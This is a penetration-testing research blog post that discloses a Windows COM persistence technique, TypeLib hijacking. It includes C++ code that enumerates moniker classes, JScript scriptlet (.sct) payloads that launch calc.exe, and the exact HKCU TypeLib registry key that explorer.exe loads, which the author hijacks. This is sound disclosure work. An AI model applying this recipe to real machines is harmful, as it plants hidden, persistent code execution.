Hijack the TypeLib. New COM persistence technique

CICADA8
9 min readOct 22, 2024

--

Hello everybody, my name is Michael Zhmailo and I am a penetration testing expert in the MTS Innovation Center CICADA8 team.

Attackers use various methods to get a persistence on a computer: AutoRun folder, Scheduled Tasks, registry keys. However, these methods are well known to defenders, which makes them easy to detect.

There are also more exotic methods of persistence: Compromise Client Software Binary (AppDomain Hijacking for example), Filter Handlers, Application Shimming, COM Hijacking.

These methods also can be easily detected even if the protection systems are properly configured.

So I decided to look for some new way of persistence. The object of study was the COM (Component Object Model) system. The choice was not made by chance, it is quite an old, not too simple and not too complex system that not many people understand.

In this article, i will introduce TypeLib libraries, see the relationship between TypeLib and COM, and achieve persistent code execution using TypeLib.

TL;DR

It was discovered that the LoadTypeLib() function, used to load a TypeLib library into a process, looks through certain registry keys in an attempt to discover the path to the target library. According to the documentation, if the function detects a moniker (string representation of a COM object) instead of a disk path, the moniker is loaded and executed in the process.

Documentation

Thus, if explorer.exe calls the LoadTypeLib() function and we hijacked the necessary registry keys for the moniker, the moniker will be instantiated inside explorer.exe and its code will be executed.

I will also introduce the TypeLibWalker tool we created to detect TypeLibs available for hijacking.

TypeLibWalker Usage

What is TypeLib?

It’s no secret that COM functionality is presented in a specific file: DLL library or EXE. However, where to get documentation on a particular COM class? This is where Microsoft came up with TypeLib.

TypeLib contains information about the COM class, which is located in a file. Inside TypeLib you can find a list of classes, interfaces and method descriptions.

Programmatically, you can use the ITypeLib and ITypeInfo interfaces to interact with TypeLib. For example, in our COMThanasia repository, we used these interfaces to receive information about a specific CLSID.

PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"
[{00000618-0000-0010-8000-00aa006d2ea4}]
AppID: Unknown
ProgID: Unknown
PID: 1572
Process Name: CLSIDExplorer.exe
Username: WINPC\\Michael
Methods:
[0] __stdcall void QueryInterface(IN GUID*, OUT void**)
[1] __stdcall unsigned long AddRef()
[2] __stdcall unsigned long Release()
[3] __stdcall void GetTypeInfoCount(OUT unsigned int*)
[4] __stdcall void GetTypeInfo(IN unsigned int, IN unsigned long, OUT void**)
[5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsigned int, IN unsigned long, OUT long*)
[6] __stdcall void Invoke(IN long, IN GUID*, IN unsigned long, IN unsigned short, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsigned int*)
[7] __stdcall BSTR Name()
[8] __stdcall void Name(IN BSTR)
[9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)
[10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)
[11] __stdcall void ChangePassword(IN BSTR, IN BSTR)
[12] __stdcall Groups* Groups()
[13] __stdcall Properties* Properties()
[14] __stdcall _Catalog* ParentCatalog()
[15] __stdcall void ParentCatalog(IN _Catalog*)
[16] __stdcall void ParentCatalog(IN _Catalog*)
[END]

In the code, we defined a TypeLib class with only two methods, which were enough to extract function signatures of the COM class.

Also you can explore TypeLib using TypeLibInfoTool.

Example output

What is moniker?

A moniker is a string representation of a COM object. Literally as the same object, only as a simple string.

To be a bit more precise, monikers are a way of identifying a COM object by a special name. The moniker functionality can also be represented inside a DLL.

There are quite a few monikers that are used by hackers to accomplish offensive tasks. For example, there is the LeakedWallpaper project, which is an LPE exploit for Windows systems that abuses Session Moniker. In addition to it, there are also Elevation Monikers that allow you to bypass UAC.

Session Moniker usage in LeakedWallpaper

There are also the usual monikers, without interesting functionality. That’s Class Moniker. Class Moniker allows you to start a COM object by CLSID, nothing more. Here’s a example of Class Moniker.

"clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:"

Linking COM and Typelib

How is a COM class linked to TypeLib? Inside the COM object key, there is a key called TypeLib .

TypeLib key

For example, in this case, there is a COM object with CLSID {EAE50EB0-4A62-11CE-BED6-00AA00611080}, which is associated with TypeLib with TypeLib ID {0D452EE1-E08F-101A-852E-02608C4D0BB4}. The version of the TypeLib library is defined in the key Version .

Version key

If the process needs a TypeLib associated with this COM class, the process starts looking at these registry keys to discover the path to the TypeLib.

HKCU\Software\Classes\TypeLib\<TypeLib ID>\<Version>

HKLM\Software\Classes\TypeLib\<TypeLib ID>\<Version>

# Ex
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0

After discovery TypeLib is loaded on the path from key 0->architecture (win32/Win64)->Default Value.

Path to the TypeLib

The path found is passed to the LoadTypeLib() function. This is where the trick lies. This function will execute the moniker if it receives a moniker as input. This way we can hijack a value in the registry and force the process to execute our code. The only difficulty is that we need to determine which TypeLib library the process is loading.

Choosing a right moniker

Let’s imagine that we’ve learned how to force a process to load the moniker we want. But which moniker should we use?

So, I started researching. There is no ready list of monikers available in Windows on the net. However, when has this ever been a problem for researchers? According to the documentation, monikers are all those objects that implement the IMoniker interface. And monikers themselves are actually the same as COM objects. And what prevents us from creating an object, then call QueryInterface() and check if this object has an IMoniker interface? Nothing! Go ahead and write code!

#include <windows.h>
#include <iostream>
#include <objbase.h>
#include <combaseapi.h>
#include <objidl.h>
#include <atlbase.h>

LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
std::wcout << "Wow!! Something had broken" << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}

bool InitializeCOM() {
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
return SUCCEEDED(hr);
}


bool DoesObjectImplementIMoniker(REFCLSID clsid) {
IMoniker* pMoniker = nullptr;
IUnknown* pUnknown = nullptr;

HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);
if (SUCCEEDED(hr) && pUnknown) {

hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);
if (SUCCEEDED(hr)) {
LPOLESTR wsclsid = nullptr;
hr = StringFromCLSID(clsid, &wsclsid);

if (SUCCEEDED(hr))
{
//std::wcout << L"CLSID:" << wsclsid << std::endl;
pMoniker->Release();
pUnknown->Release();
CoTaskMemFree(wsclsid);
return true;
}
}
pUnknown->Release();
}


return false;

}

void EnumerateAllCLSID() {
HKEY hKey;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t clsidStr[39];
DWORD index = 0;
DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);

while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {

CLSID clsid;
if (CLSIDFromString(clsidStr, &clsid) == S_OK) {
if (DoesObjectImplementIMoniker(clsid)) {
LPOLESTR wsclsid = nullptr;
HRESULT hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;
}
}
}

index++;
size = sizeof(clsidStr) / sizeof(clsidStr[0]);
}

RegCloseKey(hKey);
}
}

int main() {
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
{
std::wcout << L"[-] Failed to add the exception handler!" << std::endl;
return 1;
}

if (!InitializeCOM()) {
std::cerr << "Failed to initialize COM" << std::endl;
return 1;
}

EnumerateAllCLSID();

CoUninitialize();
return 0;
}

This code takes all available CLSIDs from HKCR, then checks for the presence of the IMoniker interface on objects.

Researching…

Experimentally, it was found that creating some objects is impossible or causes the process to crash. I encountered this behavior when developing a COMThanasia project. However, I was too lazy to fix this code. I decided to find out the peculiarities that are characteristic of the detected CLSIDs.

Hmm… Interesting name

See how interesting the name is? ClassMoniker. Moniker….. Hmm… Is it really a distinctive feature of COM classes implementing IMoniker interface?

OleViewDotnet has a handy functionality to group CLSIDs by name. I used it and found many classes that implements monikers.

Monikers

Among the list of these classes, a class named “Moniker to Windows Script Component” was found.

Interesting moniker

In trying to locate an example file for the Windows Script Component system, I came across a resource that described that these were XML-based files with the actions. Within these files, a script tag is supported, within which you can specify JScript code.

<?XML version="1.0"?>
<package>
<?component error="true" debug="true"?>
<comment>
This skeleton shows how script component elements are
assembled into a .wsc file.
</comment>
<component id="MyScriptlet">
<registration
progid="progID"
description="description"
version="version"
clsid="{00000000-0000-0000-000000000000}"/>
<reference object="progID">
<public>
<property name="propertyname"/>
<method name="methodname"/>
<event name="eventname"/>
</public>
<implements type=COMhandlerName id=internalName>
(interface-specific definitions here)
</implements>
<script language="VBScript">
<![CDATA[
dim propertyname
Function methodname()
' Script here.
End Function
]]>
</script>
<script language="JScript">
<![CDATA[
function get_propertyname()
{ // Script here.
}
function put_propertyname(newValue)
{ // Script here.
fireEvent(eventname)
}
]]>
</script>
<object id="objID" classid="clsid:00000000-0000-0000-000000000000">
<resource ID="resourceID1">string or number here</resource>
<resource ID="resourceID2">string or number here</resource>
</component>
</package>

We can remove some of the details and leave only the useful JScript payload. I got the basis for the payload from here.

<?xml version="1.0"?>
<scriptlet>
<Registration
description="CICADA8 RESEARCH"
progid="CICADA8"
version="1.0">
</Registration>
<script language="JScript">
<![CDATA[
var WShell = new ActiveXObject("WScript.Shell");
WShell.Run("calc.exe");
]]>
</script>
</scriptlet>

If we use the script moniker to point to this file, the creation of the moniker will cause the process to run.

UPD: If u have some troubles with that payload try to use next one:

<?xml version="1.0"?>
<scriptlet>
<registration
description="explorer"
progid="explorer"
version="1.0"
classid="{66666666-6666-6666-6666-666666666666}"
remotable="true">
</registration>
<script language="JScript">
<![CDATA[
var WShell = new ActiveXObject("WScript.Shell");
WShell.Run("calc.exe");
]]>
</script>
</scriptlet>

Finding a suitable target

All that remains is to detect a process that loads a library that we can tamper with. I opened Process Monitor, added filters… And found that explorer.exe is constantly trying to load some TypeLib libraries!

Loading TypeLib by process explorer.exe

Let’s take a path that has a NAME NOT FOUND status in Result.

That’s HKCU\Software\Classes\TypeLib\{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1. As you can see, there is no such path. Let’s create one.

Missing Path

All we have to do is restore this path by specifying the path to our .sct file.

Key example

And the next time we start or close the explorer.exe process, our code will be executed. explorer.exe is a process that automatically starts at system startup, so we just got another way to get persistence!

Persistence works

TypelibWalker

However, if you don’t want to sit with Process Monitor, then you can try hijacking all Typelibs that you have write permissions to. The TypeLibWalker tool allows you to automate the process of detecting potentially vulnerable registry entries that can be hijacked.

Usage Example

The program also checks for write permissions on the path on the disk. You can leave the backdoor inside a legitimate TypeLib library.

Hijacking typelib on the disk

Conclusion

Thanks for reading the article! Subscribe to us on Twitter and Github. Stay tuned 😎

--

--

CICADA8
CICADA8

Written by CICADA8

CICADA8 is a vulnerability management service with real-time cyber threat tracking capabilities. https://futurecrew.tech/cicada8